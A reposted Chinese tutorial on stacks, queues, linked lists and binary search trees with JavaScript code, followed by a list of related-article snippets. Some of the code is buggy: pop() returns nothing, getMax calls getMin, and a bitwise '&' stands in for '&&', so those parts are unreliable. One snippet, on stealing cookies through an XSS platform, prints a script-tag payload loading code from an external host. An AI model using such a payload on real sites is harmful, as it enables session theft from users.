数据结构-栈队列链表树

1 栈

概念

  • 栈是⼀个线性结构，在计算机中是⼀个相当常⻅的数据结构。
  • 栈的特点是只能在某⼀端添加或删除数据，遵循先进后出的原则

实现

  • 每种数据结构都可以⽤很多种⽅式来实现，其实可以把栈看成是数组的⼀个⼦集，所以这⾥使⽤数组来实现
class Stack {
constructor() {
this.stack = []
}
push(item) {
this.stack.push(item)
}
pop() {
this.stack.pop()
}
peek() {
return this.stack[this.getCount() - 1]
}
getCount() {
return this.stack.length
}
isEmpty() {
return this.getCount() === 0
}
}

应⽤

  • 匹配括号，可以通过栈的特性来完成
var isValid = function (s) {
let map = {
'(': -1,
')': 1,
'[': -2,
']': 2,
'{': -3,
'}': 3
}
let stack = []
for (let i = 0; i < s.length; i++) {
if (map[s[i]] < 0) {
stack.push(s[i])
} else {
let last = stack.pop()
if (map[last] + map[s[i]] != 0) return false
}
}
if (stack.length > 0) return false
return true
};

2 队列

概念

  • 队列⼀个线性结构，特点是在某⼀端添加数据，在另⼀端删除数据，遵循先进先出的原则

实现

  • 这⾥会讲解两种实现队列的⽅式，分别是单链队列和循环队列
单链队列
class Queue {
constructor() {
this.queue = []
}
enQueue(item) {
this.queue.push(item)
}
deQueue() {
return this.queue.shift()
}
getHeader() {
return this.queue[0]
}
getLength() {
return this.queue.length
}
isEmpty() {
return this.getLength() === 0
}
}
  • 因为单链队列在出队操作的时候需要 O(n) 的时间复杂度，所以引⼊了循环队列。循环队列的出队操作平均是 O(1) 的时间复杂度
循环队列
class SqQueue {
constructor(length) {
this.queue = new Array(length + 1)
// 队头
this.first = 0
// 队尾
this.last = 0// 当前队列⼤⼩
this.size = 0
}
enQueue(item) {
// 判断队尾 + 1 是否为队头
// 如果是就代表需要扩容数组
// % this.queue.length 是为了防⽌数组越界
if (this.first === (this.last + 1) % this.queue.length) {
this.resize(this.getLength() * 2 + 1)
}
this.queue[this.last] = item
this.size++
this.last = (this.last + 1) % this.queue.length
}
deQueue() {
if (this.isEmpty()) {
throw Error('Queue is empty')
}
let r = this.queue[this.first]
this.queue[this.first] = null
this.first = (this.first + 1) % this.queue.length
this.size--
// 判断当前队列⼤⼩是否过⼩
// 为了保证不浪费空间，在队列空间等于总⻓度四分之⼀时
// 且不为 2 时缩⼩总⻓度为当前的⼀半
if (this.size === this.getLength() / 4 && this.getLength() / 2 !== 0) {
this.resize(this.getLength() / 2)
}
return r
}
getHeader() {
if (this.isEmpty()) {
throw Error('Queue is empty')
}
return this.queue[this.first]
}
getLength() {
return this.queue.length - 1
}
isEmpty() {
return this.first === this.last
}
resize(length) {
let q = new Array(length)
for (let i = 0; i < length; i++) {
q[i] = this.queue[(i + this.first) % this.queue.length]
}
this.queue = q
this.first = 0
this.last = this.size
}
}

3 链表

概念

  • 链表是⼀个线性结构，同时也是⼀个天然的递归结构。链表结构可以充分利⽤ 计算机内存空间，实现灵活的内存动态管理。但是链表失去了数组随机读取的优点，同时链表由于增加了结点的指针域，空间开销⽐较⼤
    实现
单向链表
class Node {
constructor(v, next) {
this.value = v
this.next = next
}
}
class LinkList {
constructor() {
// 链表⻓度
this.size = 0
// 虚拟头部
this.dummyNode = new Node(null, null)
}
find(header, index, currentIndex) {
if (index === currentIndex) return header
return this.find(header.next, index, currentIndex + 1)
}
addNode(v, index) {
this.checkIndex(index)
// 当往链表末尾插⼊时，prev.next 为空
// 其他情况时，因为要插⼊节点，所以插⼊的节点
// 的 next 应该是 prev.next// 然后设置 prev.next 为插⼊的节点
let prev = this.find(this.dummyNode, index, 0)
prev.next = new Node(v, prev.next)
this.size++
return prev.next
}
insertNode(v, index) {
return this.addNode(v, index)
}
addToFirst(v) {
return this.addNode(v, 0)
}
addToLast(v) {
return this.addNode(v, this.size)
}
removeNode(index, isLast) {
this.checkIndex(index)
index = isLast ? index - 1 : index
let prev = this.find(this.dummyNode, index, 0)
let node = prev.next
prev.next = node.next
node.next = null
this.size--
return node
}
removeFirstNode() {
return this.removeNode(0)
}
removeLastNode() {
return this.removeNode(this.size, true)
}
checkIndex(index) {
if (index < 0 || index > this.size) throw Error('Index error')
}
getNode(index) {
this.checkIndex(index)
if (this.isEmpty()) return
return this.find(this.dummyNode, index, 0).next
}
isEmpty() {
return this.size === 0
}
getSize() {
return this.size
}
}

4 树

⼆叉树

  • 树拥有很多种结构，⼆叉树是树中最常⽤的结构，同时也是⼀个天然的递归结构。
  • ⼆叉树拥有⼀个根节点，每个节点⾄多拥有两个⼦节点，分别为：左节点和右节点。树的最底部节点称之为叶节点，当⼀颗树的叶数量数量为满时，该树可以称之为满⼆叉树

⼆分搜索树

  • ⼆分搜索树也是⼆叉树，拥有⼆叉树的特性。但是区别在于⼆分搜索树每个节点的值都⽐他的左⼦树的值⼤，⽐右⼦树的值⼩
  • 这种存储⽅式很适合于数据搜索。如下图所示，当需要查找 6 的时候，因为需要查找的值⽐根节点的值⼤，所以只需要在根节点的右⼦树上寻找，⼤⼤提⾼了搜索效率

实现

class Node {
constructor(value) {
this.value = value
this.left = null
this.right = null
}
}
class BST {
constructor() {
this.root = null
this.size = 0
}
getSize() {
return this.size
}
isEmpty() {
return this.size === 0
}
addNode(v) {
this.root = this._addChild(this.root, v)
}
// 添加节点时，需要⽐较添加的节点值和当前
// 节点值的⼤⼩
_addChild(node, v) {
if (!node) {
this.size++
return new Node(v)
}
if (node.value > v) {
node.left = this._addChild(node.left, v)
} else if (node.value < v) {
node.right = this._addChild(node.right, v)
}
return node
}
}
  • 以上是最基本的⼆分搜索树实现，接下来实现树的遍历。
  • 对于树的遍历来说，有三种遍历⽅法，分别是先序遍历、中序遍历、后序遍历。三种遍历的区别在于何时访问节点。在遍历树的过程中，每个节点都会遍历三次，分别是遍历到⾃⼰，遍历左⼦树和遍历右⼦树。如果需要实现先序遍历，那么只需要第⼀次遍历到节点时进⾏操作即可
// 先序遍历可⽤于打印树的结构
// 先序遍历先访问根节点，然后访问左节点，最后访问右节点。
preTraversal() {
this._pre(this.root)
}
_pre(node) {
if (node) {
console.log(node.value)
this._pre(node.left)
this._pre(node.right)
}
}
// 中序遍历可⽤于排序
// 对于 BST 来说，中序遍历可以实现⼀次遍历就
// 得到有序的值
// 中序遍历表示先访问左节点，然后访问根节点，最后访问右节点。
midTraversal() {
this._mid(this.root)
}
_mid(node) {
if (node) {
this._mid(node.left)
console.log(node.value)
this._mid(node.right)
}
}
// 后序遍历可⽤于先操作⼦节点
// 再操作⽗节点的场景
// 后序遍历表示先访问左节点，然后访问右节点，最后访问根节点。
backTraversal() {
this._back(this.root)
}
_back(node) {
if (node) {
this._back(node.left)
this._back(node.right)
console.log(node.value)
}
}
  • 以上的这⼏种遍历都可以称之为深度遍历，对应的还有种遍历叫做⼴度遍历，也就是⼀层层地遍历树。对于⼴度遍历来说，我们需要利⽤之前讲过的队列结构来完成
breadthTraversal() {
if (!this.root) return null
let q = new Queue()
// 将根节点⼊队
q.enQueue(this.root)
// 循环判断队列是否为空，为空
// 代表树遍历完毕
while (!q.isEmpty()) {
// 将队⾸出队，判断是否有左右⼦树
// 有的话，就先左后右⼊队
let n = q.deQueue()
console.log(n.value)
if (n.left) q.enQueue(n.left)
if (n.right) q.enQueue(n.right)
}
}
  • 接下来先介绍如何在树中寻找最⼩值或最⼤数。因为⼆分搜索树的特性，所以最⼩值⼀定在根节点的最左边，最⼤值相反
getMin() {
return this._getMin(this.root).value
}
_getMin(node) {
if (!node.left) return node
return this._getMin(node.left)
}
getMax() {
return this._getMax(this.root).value
}
_getMax(node) {
if (!node.right) return node
return this._getMin(node.right)
}
  • 向上取整和向下取整，这两个操作是相反的，所以代码也是类似的，这⾥只介绍如何向下取整。既然是向下取整，那么根据⼆分搜索树的特性，值⼀定在根节点的左侧。只需要⼀直遍历左⼦树直到当前节点的值不再⼤于等于需要的值，然后判断节点是否还拥有右⼦树。如果有的话，继续上⾯的递归判断
floor(v) {
let node = this._floor(this.root, v)
return node ? node.value : null
}
_floor(node, v) {
if (!node) return null
if (node.value === v) return v
// 如果当前节点值还⽐需要的值⼤，就继续递归
if (node.value > v) {
return this._floor(node.left, v)
}
// 判断当前节点是否拥有右⼦树
let right = this._floor(node.right, v)
if (right) return right
return node
}
  • 排名，这是⽤于获取给定值的排名或者排名第⼏的节点的值，这两个操作也是相反的，所以这个只介绍如何获取排名第⼏的节点的值。对于这个操作⽽⾔，我们需要略微的改造点代码，让每个节点拥有⼀个 size 属性。该属性表示该节点下有多少⼦节点（包含⾃身）
class Node {
constructor(value) {
this.value = value
this.left = null
this.right = null
// 修改代码
this.size = 1
}
}
// 新增代码
_getSize(node) {
return node ? node.size : 0
}
_addChild(node, v) {
if (!node) {
return new Node(v)
}
if (node.value > v) {
// 修改代码
node.size++
node.left = this._addChild(node.left, v)
} else if (node.value < v) {
// 修改代码
node.size++
node.right = this._addChild(node.right, v)
}
return node
}
select(k) {
let node = this._select(this.root, k)
return node ? node.value : null
}
_select(node, k) {
if (!node) return null
// 先获取左⼦树下有⼏个节点
let size = node.left ? node.left.size : 0
// 判断 size 是否⼤于 k
// 如果⼤于 k，代表所需要的节点在左节点
if (size > k) return this._select(node.left, k)
// 如果⼩于 k，代表所需要的节点在右节点
// 注意这⾥需要重新计算 k，减去根节点除了右⼦树的节点数量
if (size < k) return this._select(node.right, k - size - 1)
return node
}
  • 接下来讲解的是⼆分搜索树中最难实现的部分：删除节点。因为对于删除节点来说，会存在以下⼏种情况
    • 需要删除的节点没有⼦树
    • 需要删除的节点只有⼀条⼦树
    • 需要删除的节点有左右两条树
    • 对于前两种情况很好解决，但是第三种情况就有难度了，所以先来实现相对简单的操作：删除最⼩节点，对于删除最⼩节点来说，是不存在第三种情况的，删除最⼤节点操作是和删除最⼩节点相反的，所以这⾥也就不再赘述
delectMin() {
this.root = this._delectMin(this.root)
console.log(this.root)
}
_delectMin(node) {
// ⼀直递归左⼦树
// 如果左⼦树为空，就判断节点是否拥有右⼦树
// 有右⼦树的话就把需要删除的节点替换为右⼦树
if ((node != null) & !node.left) return node.right
node.left = this._delectMin(node.left)
// 最后需要重新维护下节点的 `size`
node.size = this._getSize(node.left) + this._getSize(node.right) + 1
return node
}
delect(v) {
this.root = this._delect(this.root, v)
}
  • 最后讲解的就是如何删除任意节点了。对于这个操作， T.Hibbard 在 1962 年提出了解决这个难题的办法，也就是如何解决第三种情况。
  • 当遇到这种情况时，需要取出当前节点的后继节点（也就是当前节点右⼦树的最⼩节点）来替换需要删除的节点。然后将需要删除节点的左⼦树赋值给后继结点，右⼦树删除后继结点后赋值给他。
  • 你如果对于这个解决办法有疑问的话，可以这样考虑。因为⼆分搜索树的特性，⽗节点⼀定⽐所有左⼦节点⼤，⽐所有右⼦节点⼩。那么当需要删除⽗节点时，势必需要拿出⼀个⽐⽗节点⼤的节点来替换⽗节点。这个节点肯定不存在于左⼦树，必然存在于右⼦树。然后⼜需要保持⽗节点都是⽐右⼦节点⼩的，那么就可以取出右⼦树中最⼩的那个节点来替换⽗节点
_delect(node, v) {
if (!node) return null
// 寻找的节点⽐当前节点⼩，去左⼦树找
if (node.value < v) {
node.right = this._delect(node.right, v)
} else if (node.value > v) {
// 寻找的节点⽐当前节点⼤，去右⼦树找
node.left = this._delect(node.left, v)
} else {
// 进⼊这个条件说明已经找到节点
// 先判断节点是否拥有拥有左右⼦树中的⼀个
// 是的话，将⼦树返回出去，这⾥和 `_delectMin` 的操作⼀样
if (!node.left) return node.right
if (!node.right) return node.left
// 进⼊这⾥，代表节点拥有左右⼦树
// 先取出当前节点的后继结点，也就是取当前节点右⼦树的最⼩值
let min = this._getMin(node.right)
// 取出最⼩值后，删除最⼩值
// 然后把删除节点后的⼦树赋值给最⼩值节点
min.right = this._delectMin(node.right)
// 左⼦树不动
min.left = node.left
node = min
}
// 维护 size
node.size = this._getSize(node.left) + this._getSize(node.right) + 1
return node
}

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/23210.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

为什么list.sort()比Stream().sorted()更快？

为什么list.sort()比Stream().sorted()更快？

真的更好吗&#xff1f; 先简单写个demo List<Integer> userList new ArrayList<>();Random rand new Random();for (int i 0; i < 10000 ; i) {userList.add(rand.nextInt(1000));}List<Integer> userList2 new ArrayList<>();userList2.add…
阅读更多...
使用 RediSearch 在 Redis 中进行全文检索

使用 RediSearch 在 Redis 中进行全文检索

原文链接&#xff1a; 使用 RediSearch 在 Redis 中进行全文检索 Redis 大家肯定都不陌生了&#xff0c;作为一种快速、高性能的键值存储数据库&#xff0c;广泛应用于缓存、队列、会话存储等方面。 然而&#xff0c;Redis 在原生状态下并不支持全文检索功能&#xff0c;这使…
阅读更多...
备战秋招 | 笔试强训24

备战秋招 | 笔试强训24

目录 一、选择题 二、编程题 三、选择题题解 四、编程题题解 一、选择题 1、请指出选择排序&#xff0c;冒泡排序&#xff0c;快速排序的时间复杂度分别是&#xff08;&#xff09; A. O(n^2)、O(n^2)、O(n*log2n) B. O(n*log2n)、、O(n^2)、O(n*log2n&#xff09; C. O(n…
阅读更多...
[虚幻引擎 MongoDB Client 插件说明] DTMongoDB MongoDB数据库连接插件，UE蓝图可以操作MongoDB数据库增删改查。

[虚幻引擎 MongoDB Client 插件说明] DTMongoDB MongoDB数据库连接插件，UE蓝图可以操作MongoDB数据库增删改查。

本插件可以在UE里面使用蓝图操作MongoDB数据库&#xff0c; 对数据库进行查询&#xff0c;删除&#xff0c;插入&#xff0c;替换&#xff0c;更新操作。插件下载地址在文章最后。 1. 节点说明 DT MongoDB | Client Create MongoDB Client - 创建客户端对象 创建一个 MongoDB 客…
阅读更多...
【ONE·Linux || 基础IO（二）】

【ONE·Linux || 基础IO（二）】

总言 文件系统与动静态库相关介绍。 文章目录 总言2、文件系统2.1、背景知识2.2、磁盘管理2.2.1、磁盘文件系统图2.2.2、inode与文件名 2.3、软硬链接 3、动静态库3.1、站在编写库的人的角度&#xff1a;如何写一个库&#xff1f;3.1.1、静态库制作3.1.3、动态库制作 3.2、站在…
阅读更多...
AI编程工具Copilot与Codeium的实测对比

AI编程工具Copilot与Codeium的实测对比

csdn原创谢绝转载 简介 现在没有AI编程工具&#xff0c;效率会打一个折扣&#xff0c;如果还没有&#xff0c;赶紧装起来&#xff0e; GitHub Copilot是OpenAi与github等共同开发的的AI辅助编程工具&#xff0c;基于ChatGPT驱动&#xff0c;功能强大&#xff0c;这个没人怀疑…
阅读更多...
java Selenium 实现简单的网页操作

java Selenium 实现简单的网页操作

官方文档&#xff1a;入门指南 | Selenium Selenium是一个用于Web应用测试的工具。Selenium测试直接运行在浏览器中&#xff0c;就像真正的用户在操作一样。 所以使用这个前端测试话工具&#xff0c;可以自动化做很多事情&#xff0c;比如自动化抓取网页内容&#xff0c;俗称网…
阅读更多...
服务器中了360后缀勒索病毒怎么解决，360后缀勒索病毒解密数据恢复

服务器中了360后缀勒索病毒怎么解决，360后缀勒索病毒解密数据恢复

某医药公司是一家小型企业&#xff0c;拥有自己的服务器存储重要数据和文件。某天早上&#xff0c;IT管理员发现企业服务器中了360后缀的勒索病毒&#xff0c;所有数据文件都被加密了。这个病毒的入侵让公司业务受到严重影响&#xff0c;企业立即启动了勒索病毒解密数据恢复的措…
阅读更多...
MySQL为什么要使用 B+Tree 作为索引结构？

MySQL为什么要使用 B+Tree 作为索引结构？

MySQL为什么要使用 BTree 作为索引结构&#xff1f; 基本情况 常规的数据库存储引擎 &#xff0c;一般都是采用 B 树或者 B树来实现索引的存储。B树是一种多路平衡树&#xff0c;用这种存储结构来存储大量数据&#xff0c;它的整个高度 会相比二叉树来说 &#xff0c;会矮很多…
阅读更多...
机器学习笔记 - YOLO-NAS 最高效的目标检测算法之一

机器学习笔记 - YOLO-NAS 最高效的目标检测算法之一

一、YOLO-NAS概述 YOLO（You Only Look Once）是一种对象检测算法，它使用深度神经网络模型，特别是卷积神经网络，来实时检测和分类对象。该算法首次在 2016 年由 Joseph Redmon、Santosh Divvala、Ross Girshick 和 Ali Farhadi 发表的论文《You Only Look Once: Unified, Re…
阅读更多...
Stable Diffusion - Stable Diffusion WebUI 支持 SDXL 1.0 模型的环境配置

Stable Diffusion - Stable Diffusion WebUI 支持 SDXL 1.0 模型的环境配置

欢迎关注我的CSDN&#xff1a;https://spike.blog.csdn.net/ 本文地址&#xff1a;https://spike.blog.csdn.net/article/details/132056980 SDXL 1.0 版本 是 Stable Diffusion 的最新版本&#xff0c;是基于潜在扩散模型的文本到图像生成技术&#xff0c;能够根据输入的任何文…
阅读更多...
单片机复位电路分析

单片机复位电路分析

来分析一下这个电路&#xff1a; 首先这里面有电容&#xff0c;所以是一个动态电路。哈哈哈 假设左上角的电压源是5V的代号为VOLT。 可以知道电容capacitor C1左边的电压也是5V&#xff0c;电容中间隔着一个绝缘体&#xff0c;所以不导电&#xff0c; 这个时候电流无法通过…
阅读更多...
利用XSS在线平台获取用户cookie

利用XSS在线平台获取用户cookie

//XSS弹窗&#xff1a; <script>alert("xss")</script> XSS漏洞&#xff1a; //XSS弹窗&#xff1a; <script>alert("xss")</script> //XSS在线平台&#xff1a; <ScRipT sRc//7ix7kigpovxdbtd32fuspgffmtmufo3wwzgnzaltddewtb…
阅读更多...
TS协议之PMT（节目映射表）

TS协议之PMT（节目映射表）

TS协议之PAT&#xff08;节目关联表&#xff09; 1.概要 PMT&#xff1a;节目映射表&#xff0c;与PAT成对出现&#xff0c;包含了该节目下所有的节目元素。 PMT数据结构如下&#xff1a; 字段分析&#xff1a; 字段字段描述表id标识一个TS PSI分段的内容是节目关联分段&am…
阅读更多...
SAP ABAP中使用函数ALSM_EXCEL_TO_INTERNAL_TABLE读取EXCEL中不同的SHEET数据

SAP ABAP中使用函数ALSM_EXCEL_TO_INTERNAL_TABLE读取EXCEL中不同的SHEET数据

SAP提供了标准的读取EXCEL的函数&#xff08;ALSM_EXCEL_TO_INTERNAL_TABLE&#xff09;&#xff0c;但是此标准函数无法满足对同一EXCEL 进行不同SHEET的数据读取&#xff0c;一下方法就是教你如何通过修改程序来实现ALSM_EXCEL_TO_INTERNAL_TABLE读取多个SHEET&#xff1b; …
阅读更多...
P1320 压缩技术（续集版）

P1320 压缩技术（续集版）

题目描述 设某汉字由 N N N \times N NN 的 0 \texttt 0 0 和 1 \texttt 1 1 的点阵图案组成。 我们依照以下规则生成压缩码。连续一组数值&#xff1a;从汉字点阵图案的第一行第一个符号开始计算&#xff0c;按书写顺序从左到右&#xff0c;由上至下。第一个数表示连续有…
阅读更多...
MacOS上配置docker国内镜像仓库地址

MacOS上配置docker国内镜像仓库地址

背景 docker官方镜像仓库网速较差&#xff0c;我们需要设置国内镜像服务 我的MacOS docker版本如下 设置docker国内镜像仓库地址 点击Settings点击Docker Engine修改配置文件&#xff0c;添加registry-mirrors {"builder": {"gc": {"defaultKeepS…
阅读更多...
Java——如何使用Stream替换掉List＜Student＞中符合要求的元素

Java——如何使用Stream替换掉List＜Student＞中符合要求的元素

使用Stream替换掉List中符合要求的元素 要使用Stream流替换掉List中符合特定条件的元素&#xff0c;您可以使用Stream的map()方法对每个元素进行映射&#xff0c;并使用collect()方法将映射后的元素收集到一个新的List中。 示例代码&#xff1a; import java.util.ArrayList; …
阅读更多...
Java实现数据库表中的七种连接【Mysql】

Java实现数据库表中的七种连接【Mysql】

Java实现数据库表中的七种连接【Mysql】 前言版权推荐Java实现数据库表中的七种连接左外连接右外连接其他连接 附录七种连接SQL测试Java测试转换方法类 Cla1类 Cla2类Cla3 最后 前言 2023-8-4 16:51:42 以下内容源自《【Mysql】》 仅供学习交流使用 版权 禁止其他平台发布时…
阅读更多...
docker配置远程连接端口

docker配置远程连接端口

配置docker 配置远程连接端口 vi /lib/systemd/system/docker.servicesystemctl daemon-reload && systemctl restart docker firewall-cmd --zonepublic --add-port2375/tcp --permanenthttp://node2:2375/version
阅读更多...
最新文章

Copyright @ 2022~2023